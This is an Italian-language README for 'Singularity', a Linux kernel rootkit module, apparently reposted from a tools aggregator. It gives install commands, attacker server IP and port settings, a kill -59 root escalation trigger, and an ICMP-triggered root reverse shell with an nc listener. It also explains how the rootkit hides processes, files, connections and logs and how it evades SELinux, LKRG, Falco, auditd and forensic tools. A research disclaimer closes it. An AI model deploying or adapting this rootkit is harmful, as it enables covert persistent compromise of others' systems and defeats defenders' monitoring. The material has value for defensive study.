Singularity - Rootkit stealthy del kernel Linux

"Diamo un po' di lavoro alla forensics?"

Questo progetto è stato ispirato da una donna molto speciale per me: Mocinha

Singularity è un potente rootkit Linux Kernel Module (LKM) progettato per i kernel moderni 6.x. Fornisce complete capacità di occultamento tramite l'hooking avanzato delle system call attraverso l'infrastruttura ftrace.

Articolo di ricerca completo (versione obsoleta): Singularity: un rootkit del kernel Linux boss finale

Caso di studio sull'evasione EDR: Bypassare Elastic EDR con Singularity

Video POC: Singularity vs strumenti di sicurezza eBPF: Singularity vs strumenti di sicurezza eBPF

Rompendo la sicurezza eBPF con gli hook di Singularity: Rompendo eBPF

Cos'è Singularity?

Singularity è un rootkit sofisticato che opera a livello di kernel, fornendo:

Nascondere processi: Rende qualsiasi processo completamente invisibile al sistema
Nascondere file e directory: Nasconde file utilizzando pattern di corrispondenza
Stealth di rete: Nasconde connessioni TCP/UDP, porte e voci conntrack
Escalation dei privilegi: Accesso root istantaneo basato su segnali
Sanificazione dei log: Filtra i log del kernel e i journal di sistema in tempo reale
Auto-occultamento: Si rimuove dalle liste dei moduli e dal monitoraggio di sistema
Accesso remoto: Reverse shell attivata via ICMP con occultamento automatico
Anti-rilevamento: Elude gli strumenti di sicurezza runtime basati su eBPF (Falco, Tracee), aggira Linux Kernel Runtime Guard (LKRG) e impedisce tentativi di bypass io_uring
Evasione dell'audit: Scarta i messaggi di audit per i processi nascosti a livello netlink con tracciamento delle statistiche e filtraggio degli inode dei socket
Evasione della memory forensics: Filtra /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
Filtraggio cgroup: Filtra i PID nascosti da cgroup.procs
Evasione syslog: Aggancia do_syslog per filtrare l'accesso al ring buffer del kernel tramite klogctl()
Evasione debugfs: Filtra l'output di strumenti come debugfs che leggono i dispositivi a blocchi raw
Filtraggio conntrack: Nasconde le connessioni da /proc/net/nf_conntrack e dalle query netlink SOCK_DIAG/NETFILTER
Evasione SELinux: Bypass automatico della modalità enforcing di SELinux al trigger ICMP
Bypass LKRG: Elude i meccanismi di rilevamento di Linux Kernel Runtime Guard
Bypass della sicurezza eBPF: Nasconde i processi dagli strumenti di sicurezza runtime basati su eBPF (Falco, Tracee)

Caratteristiche

Elevazione dei privilegi basata su segnali (kill -59)
Occultamento completo dei processi da /proc e dagli strumenti di monitoraggio
Occultamento del filesystem basato su pattern per file e directory
Occultamento delle connessioni di rete da netstat, ss, conntrack e analizzatori di pacchetti
Filtraggio netlink avanzato (SOCK_DIAG, messaggi NETFILTER/conntrack)
Filtraggio in tempo reale dei log del kernel per dmesg, journalctl e klogctl
Auto-occultamento del modulo da lsmod e /sys/module
Normalizzazione automatica dei flag taint del kernel
Filtraggio dei dati BPF per prevenire il rilevamento basato su eBPF
Protezione io_uring contro bypass di I/O asincrono
Mascheramento dei log per i messaggi del kernel e i log di sistema
Evasione dei rilevatori standard di rootkit (unhide, chkrootkit, rkhunter)
Tracciamento e occultamento automatici dei processi figli tramite hook dei tracepoint
Supporto multi-architettura (x64 + ia32)
Filtraggio a livello di pacchetto di rete con protezione dei raw socket
Protezione contro tutte le varianti di I/O dei file (read, write, splice, sendfile, tee, copy_file_range)
Filtraggio dei messaggi di audit a livello netlink con tracciamento delle statistiche per eludere il rilevamento di auditd
Tracciamento degli inode dei socket per un occultamento di rete completo
Filtraggio dei PID cgroup per prevenire il rilevamento tramite /sys/fs/cgroup/*/cgroup.procs
Blocco netlink di TaskStats per prevenire l'enumerazione dei PID
Filtraggio di /proc/kcore per eludere gli strumenti di memory forensics (Volatility, crash, gdb)
Hook di do_syslog per filtrare klogctl() e prevenire perdite dal ring buffer del kernel
Filtraggio dell'output dei dispositivi a blocchi per eludere debugfs e strumenti simili di disk forensics
Filtraggio dell'output di journalctl -k tramite hook di write
Capacità di bypass della modalità enforcing di SELinux per le shell attivate via ICMP
Bypass dei controlli di integrità LKRG per i processi nascosti
Occultamento degli eventi Falco tramite ringbuffer BPF e intercettazione degli eventi perf

Installazione

Prerequisiti

Kernel Linux 6.x
Header del kernel per il kernel in esecuzione
GCC e Make
Accesso root

Installazione rapida```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

Ecco fatto. Il modulo automaticamente:
- Si nasconde da lsmod, /proc/modules, /sys/module
- Pulisce i flag di taint del kernel
- Filtra le stringhe sensibili da dmesg, journalctl -k, klogctl
- Inizia a proteggere i tuoi file e processi nascosti

### Note Importanti

**Il modulo si nasconde automaticamente dopo il caricamento**

**Non è presente alcuna funzione di scaricamento: è necessario riavviare per rimuoverlo**

**Testalo prima in una VM: non può essere rimosso senza riavviare**

## Configurazione

### Imposta IP e Porta del Server

**Modifica `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

Modifica modules/icmp.c:```c #define SRV_PORT "8081" // Change this to your desired port

**Modifica `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

Modifica modules/hiding_tcp.c:```c #define PORT 8081 // Must match SRV_PORT

**Importante**: Tutte le definizioni delle porte devono corrispondere per un corretto occultamento di rete e la funzionalità di reverse shell ICMP.

## Utilizzo

### Nascondere i processi```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.

Hide Files & Directories

Files matching your configured patterns are automatically hidden:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### Diventa root

**Metodo basato sui segnali:**```bash
kill -59 $$
id  # uid=0(root)

Nascondi le connessioni di rete

Le connessioni sulla porta configurata (predefinita: 8081) vengono nascoste automaticamente:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

I pacchetti vengono scartati a livello di socket raw (tpacket_rcv) e nascosti a:
- interfacce /proc/net/* (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- query Netlink SOCK_DIAG (usate da ss, lsof)
- messaggi Netlink NETFILTER/conntrack (usati dallo strumento conntrack)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### Reverse Shell ICMP

Attiva da remoto una reverse shell nascosta con bypass automatico di SELinux:

**1. Avvia il listener:**```bash
nc -lvnp 8081  # Use your configured port

2. Invia trigger ICMP:```bash sudo python3 scripts/trigger.py <target_ip>

**3. Ricevi una shell di root** (nascosta automaticamente con tutti i processi figli, modalità enforcing di SELinux bypassata se attiva)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>

## Meccanismi di protezione

### Protezione del controllo Ftrace

Tutti i tentativi di disabilitare ftrace vengono intercettati e bloccati silenziosamente:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

Syscall protette: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (con caching intelligente per-PID)

Filtraggio delle syscall BPF

Il modulo bpf_hook.c implementa un sofisticato sistema anti-rilevamento contro gli strumenti di sicurezza basati su eBPF. Piuttosto che bloccare completamente le syscall BPF (che sarebbe un'impronta di rilevamento), filtra selettivamente i dati a livello di kernel per rendere i processi e le connessioni nascosti invisibili ai programmi eBPF.

Strategia: intercettare le funzioni di raccolta dati e reporting utilizzate dai programmi eBPF, non la syscall BPF stessa. Ciò consente agli strumenti eBPF legittimi di funzionare normalmente impedendo loro di vedere le risorse nascoste.

Risorse protette:

Processi nascosti e il loro intero albero dei processi (fino a 10 livelli di processi padre)
Connessioni di rete sulla porta configurata (default: 8081) o verso l'indirizzo IP configurato
Inode dei socket associati ai processi nascosti

Punti di intercettazione:

Esecuzione degli iteratori (enumerazione di processi/socket)
Operazioni sul ring buffer (invio di eventi allo spazio utente)
Operazioni sulle mappe BPF (ricerche e inserimenti di PID)
Output degli eventi perf (consegna legacy degli eventi eBPF)
Scritture sui file seq (formattazione dell'output)
Esecuzione dei programmi (filtraggio basato sul contesto)

Questo approccio sconfigge gli strumenti di sicurezza eBPF senza innescare gli allarmi che deriverebbero dal bloccare completamente le operazioni BPF.

Protezione io_uring

Protezione contro il bypass di io_uring nei tentativi su ftrace_enabled e tracing_on con caching intelligente (cache di 1 secondo per PID per prevenire la scansione ripetuta dei processi e ridurre il sovraccarico)

Sanificazione dei log

Filtraggio in tempo reale delle stringhe sensibili da tutte le interfacce di log del kernel:

Parole chiave filtrate: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove

Nota: i messaggi di audit per i PID nascosti vengono eliminati a livello netlink con il tracciamento delle statistiche (get_blocked_audit_count, get_total_audit_count)

Evasione dalla forensics su disco

Singularity aggancia la syscall write per rilevare e filtrare l'output degli strumenti di forensics su disco:

Come funziona:

Rileva se il processo ha un dispositivo a blocchi aperto (/dev/sda, /dev/nvme0n1, ecc.)
Rileva pattern di output stile debugfs (elenchi di inode, metadati del filesystem)
Sanifica i pattern nascosti in-place (li sostituisce con spazi per mantenere dimensioni del buffer/checksum)```bash

Hidden files are invisible even to raw disk analysis

debugfs /dev/sda3 -R 'ls -l /home/user/singularity'

(spaces where "singularity" was)

The pattern is sanitized in the output buffer

Checksums remain valid, no corruption

**Pattern rilevati:**
- prefisso `debugfs:`
- Elenchi di inode con parentesi
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`

### Implementazione dell'occultamento dei processi

Occultamento completo da syscall e interfacce del kernel:
- /proc/[pid]/* (openat, readlinkat bloccati)
- getdents, getdents64 (elenco delle directory filtrato)
- stat, lstat, statx, newfstatat (metadati nascosti)
- kill con segnale 0 (restituisce ESRCH)
- getsid, getpgid, getpgrp (restituisce ESRCH)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (restituisce ESRCH)
- getpriority (restituisce ESRCH)
- sysinfo (conteggio dei processi corretto)
- pidfd_open (restituisce ESRCH)
- Query netlink TaskStats (restituisce ESRCH)
- PID Cgroup filtrati da cgroup.procs

I processi figlio vengono tracciati automaticamente tramite l'hook del tracepoint sched_process_fork.

### Bypass LKRG

Singularity implementa un'evasione completa contro Linux Kernel Runtime Guard:

**Controlli bypassati:**
- Validazione delle credenziali di processo (p_cmp_creds)
- Integrità della struttura delle task (p_cmp_tasks)
- Validazione dell'integrità del flusso di controllo (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- Controlli di integrità del kernel (p_check_integrity)
- Sottosistema di rilevamento exploit (p_exploit_detection_init)
- Tracciamento degli helper in modalità utente (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- Dump ed enumerazione delle task (p_dump_task_f, ed_task_add)
- Intercettazione del gestore kprobe ftrace

**Funzionalità:**
- Rilevamento automatico di LKRG e installazione degli hook
- Verifica della linea di discendenza dei processi (nasconde interi alberi di processi fino a 64 livelli di profondità)
- Bypass UMH per operazioni di reverse shell
- Sistema di notifica dei moduli per rilevare il caricamento di LKRG

I processi nascosti sono invisibili a tutti i meccanismi di verifica dell'integrità di LKRG.

### Bypass Falco

Singularity implementa un sistema di difesa anti-EDR completo che impedisce agli strumenti di sicurezza basati su eBPF di rilevare processi nascosti e connessioni di rete. La protezione funziona intercettando le funzioni del kernel che i programmi eBPF utilizzano per raccogliere e segnalare i dati.

**Protezione contro:**
- Falco (sicurezza runtime basata su eventi)
- Tracee (tracciamento di sicurezza)
- bpftool e ss con backend BPF

**Intercettazione multilivello:**

1. **Filtro degli iteratori** (bpf_iter_run_prog)
   - Filtra i socket sulla porta nascosta dagli iteratori TCP/UDP
   - Nasconde i processi e i loro figli dagli iteratori delle task
   - Impedisce il rilevamento tramite `ss` e gli strumenti di enumerazione dei processi

2. **Blocco degli eventi del ring buffer** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
   - Rileva le strutture degli eventi Falco analizzando il formato dell'header
   - Blocca l'allocazione, l'invio e l'output degli eventi per i PID nascosti
   - Impedisce agli eventi syscall di raggiungere l'agente userspace di Falco

3. **Manipolazione delle mappe BPF** (bpf_map_lookup_elem, bpf_map_update_elem)
   - Restituisce NULL quando eBPF cerca PID nascosti nelle mappe
   - Elimina silenziosamente le inserzioni nelle mappe quando la chiave è un PID nascosto
   - Impedisce agli strumenti di sicurezza eBPF di tracciare i processi nascosti

4. **Soppressione degli eventi perf** (perf_event_output, perf_trace_run_bpf_submit)
   - Blocca l'invio di eventi basati su perf dai processi nascosti
   - Impedisce agli strumenti eBPF legacy di ricevere dati di traccia

5. **Filtro dei file seq** (bpf_seq_write, bpf_seq_printf)
   - Analizza i dati di output alla ricerca di PID nascosti prima della scrittura
   - Impedisce le fughe di dati tramite le interfacce /proc utilizzate dagli iteratori eBPF

6. **Controllo dell'esecuzione dei programmi** (__bpf_prog_run)
   - Blocca l'esecuzione dei programmi eBPF quando si è nel contesto di un processo nascosto
   - Impedisce qualsiasi monitoraggio basato su eBPF degli internals dei processi nascosti

**Occultamento di socket e connessioni:**
- Memorizza nella cache l'indirizzo IP nascosto per le prestazioni
- Filtra i socket in base alla porta configurata e all'IP configurato
- Nasconde sia le connessioni IPv4 che IPv6
- Funziona a livello di iteratore (prima che i dati raggiungano i programmi eBPF)

**Tracciamento della linea di discendenza dei processi:**
- Traccia la catena dei processi padre fino a 10 livelli di profondità
- Nasconde automaticamente tutti i discendenti dei processi nascosti
- Garantisce che i processi figlio generati dopo l'occultamento rimangano invisibili

I processi nascosti e le connessioni generano zero eventi visibili agli strumenti di sicurezza eBPF.

## Strumenti di sicurezza bypassati

**Monitoraggio processi**: ps, top, htop, atop, pidof

**Filesystem**: ls, find, locate, stat, lstat, readlink, tree

**Forensics su disco**: debugfs, e2fsck (output filtrato tramite hook di scrittura)

**Forensics della memoria**: Volatility, crash, gdb (tramite filtraggio di /proc/kcore)

**Rete**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*

**Log e tracce**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf

**Rilevatori di rootkit**: unhide, chkrootkit, rkhunter, OSSEC

**Rilevamento moduli**: lsmod, modinfo, /sys/module, /proc/modules, kmod

**Sicurezza del kernel**: LKRG (Linux Kernel Runtime Guard)

**Strumenti di sicurezza eBPF**:
- Falco (monitoraggio della sicurezza runtime)
- Tracee (tracciamento di sicurezza)
- bpftrace, bpftool (se utilizzati per il monitoraggio)

**EDR/Monitoraggio**: monitor basati su io_uring, alcune soluzioni EDR Linux, auditd

## Hook di syscall

| Syscall/Funzione | Modulo | Scopo |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | Filtra le voci di directory, nasconde i PID |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Nasconde i metadati dei file, regola nlink |
| getpriority | hiding_stat.c | Nasconde le query di priorità per i PID nascosti |
| openat | open.c | Blocca l'accesso a /proc/[pid] nascosti |
| readlinkat | hiding_readlink.c | Blocca la risoluzione dei symlink |
| chdir | hiding_chdir.c | Impedisce cd in directory nascoste |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Filtra i log del kernel, kcore, kallsyms, PID cgroup, nf_conntrack |
| do_syslog | clear_taint_dmesg.c | Filtra il ring buffer del kernel di klogctl()/syslog() |
| sched_debug_show | clear_taint_dmesg.c | Filtra l'output di debug dello scheduler |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | Blocca il controllo ftrace + filtra la forensics su disco + filtra l'output di journalctl |
| sendfile, sendfile64, copy_file_range | hooks_write.c | Blocca le copie di file verso file protetti |
| splice, vmsplice, tee | hooks_write.c | Blocca le scritture basate su pipe verso file protetti |
| io_uring_enter | hooks_write.c | Blocca il bypass I/O asincrono con caching dei PID |
| kill | become_root.c | Trigger di root + nasconde i processi |
| getsid, getpgid, getpgrp | become_root.c | Restituisce ESRCH per i PID nascosti |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Restituisce ESRCH per i PID nascosti |
| sysinfo | become_root.c | Corregge il conteggio dei processi |
| pidfd_open | become_root.c | Restituisce ESRCH per i PID nascosti |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | Nasconde le connessioni TCP da /proc/net |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | Nasconde le connessioni UDP da /proc/net |
| tpacket_rcv | hiding_tcp.c | Elimina i pacchetti a livello di socket raw |
| recvmsg, recvfrom | audit.c | Filtra i messaggi netlink SOCK_DIAG e NETFILTER |
| netlink_unicast | audit.c | Elimina i messaggi di audit per i PID nascosti |
| audit_log_start | audit.c | Blocca la creazione dei log di audit per i processi nascosti |
| bpf | bpf_hook.c | Filtra le operazioni eBPF per i PID nascosti |
| bpf_iter_run_prog | bpf_hook.c | Nasconde i processi nascosti dagli iteratori BPF |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | Filtra l'output dei file seq BPF |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Filtra gli eventi Falco tramite ring buffer |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | Filtra le operazioni sulle mappe BPF |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Filtra gli eventi perf per i processi nascosti |
| __bpf_prog_run | bpf_hook.c | Filtra l'esecuzione dei programmi BPF |
| icmp_rcv | icmp.c | Reverse shell attivata via ICMP con bypass SELinux |
| taskstats_user_cmd | task.c | Blocca le query TaskStats per i PID nascosti |
| sched_process_fork (tracepoint) | trace.c | Traccia i processi figlio |
| kprobe_ftrace_handler | lkrg_bypass.c | Bypassa il rilevamento kprobe di LKRG |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | Bypassa i controlli delle credenziali di LKRG |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | Bypassa la validazione CFI di LKRG |
| p_check_integrity | lkrg_bypass.c | Bypassa i controlli di integrità di LKRG |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | Nasconde dall'enumerazione delle task di LKRG |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | Bypassa il tracciamento UMH di LKRG |
| p_exploit_detection_init | lkrg_bypass.c | Bypassa il rilevamento exploit di LKRG |
| tainted_mask (kthread) | reset_tainted.c | Azzera i flag taint del kernel |
| module_hide_current | hide_module.c | Rimuove dalle liste dei moduli e da sysfs |

**Supporto multi-architettura**: x86_64 (`__x64_sys_*`) e ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)

## Versioni del kernel testate

| Versione kernel | Distribuzione | Stato | Note |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Stabile | Ambiente di sviluppo primario |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Stabile | Kernel basato su RHEL |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Stabile | Kernel Debian |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | Stabile | Bypass SELinux enforcing validato |
| 6.17.0-8-generic | Ubuntu 25.10 | Stabile | Kernel generico più recente, completamente funzionale |
| 6.14.0-37-generic | Ubuntu 24.04 | Stabile | Bypass LKRG e Falco validato |
| 6.12.25-amd64 | Kali Linux | Stabile | Kali 6.12.25-1kali1 |

## Il colpo di scena

Purtroppo per alcuni...

Anche con tutti questi filtri, protezioni e hook, ci sono ancora modi per rilevare questa rootkit.

Ma se sei un buon analista forense, un professionista DFIR o un ricercatore di malware, ti lascerò scoprirlo da solo.

Non ho intenzione di correggerlo, perché sarebbe molto più OP ;)

## Crediti

**Singularity** è stato creato da **MatheuZSecurity** (Matheus Alves)

- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`

**Unisciti ai Rootkit Researchers**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)

### Riferimenti di codice

- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)

### Ispirazione per la ricerca

- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)

## Contribuire

- Invia pull request per miglioramenti
- Segnala bug tramite GitHub issues
- Suggerisci nuove tecniche di evasione
- Condividi metodi di rilevamento (per la ricerca)

**Hai trovato un bug?** Apri una issue o contattami su Discord: `kprobe`

**SOLO PER SCOPI EDUCATIVI E DI RICERCA**

Singularity è stato creato come progetto di ricerca per esplorare i limiti delle tecniche di occultamento a livello di kernel. L'obiettivo è rispondere a una domanda: **"Fino a che punto può nascondersi un rootkit se riesce a infiltrarsi e caricarsi in un sistema?"**

Questo progetto esiste per:
- Spingere i confini della ricerca sulla sicurezza offensiva
- Aiutare i difensori a capire cosa devono affrontare
- Fornire una risorsa didattica sugli internals del kernel e sulle tecniche di evasione
- Contribuire alla base di conoscenze della comunità della sicurezza

**Non sono responsabile per qualsiasi uso improprio di questo software.** Se scegli di utilizzare Singularity per scopi dannosi, la responsabilità è tua. Questo strumento è fornito così com'è solo per ricerca, istruzione e test di sicurezza autorizzati.

Effettua test solo su sistemi di tua proprietà o su cui hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni.

**Sii un ricercatore, non un criminale.**

`dmesg`	hook di lettura su /proc/kmsg	Filtrato
`journalctl -k`	hook di scrittura (filtraggio dell'output)	Filtrato
`klogctl()` / `syslog()`	hook do_syslog	Filtrato
`/sys/kernel/debug/tracing/*`	hook di lettura	Filtrato
`/var/log/kern.log`, `syslog`, `auth.log`	hook di lettura	Filtrato
`/proc/kallsyms`, `/proc/kcore`, `/proc/vmallocinfo`	hook di lettura	Filtrato
`/proc/net/nf_conntrack`	hook di lettura	Filtrato

Singularity

Più Popolari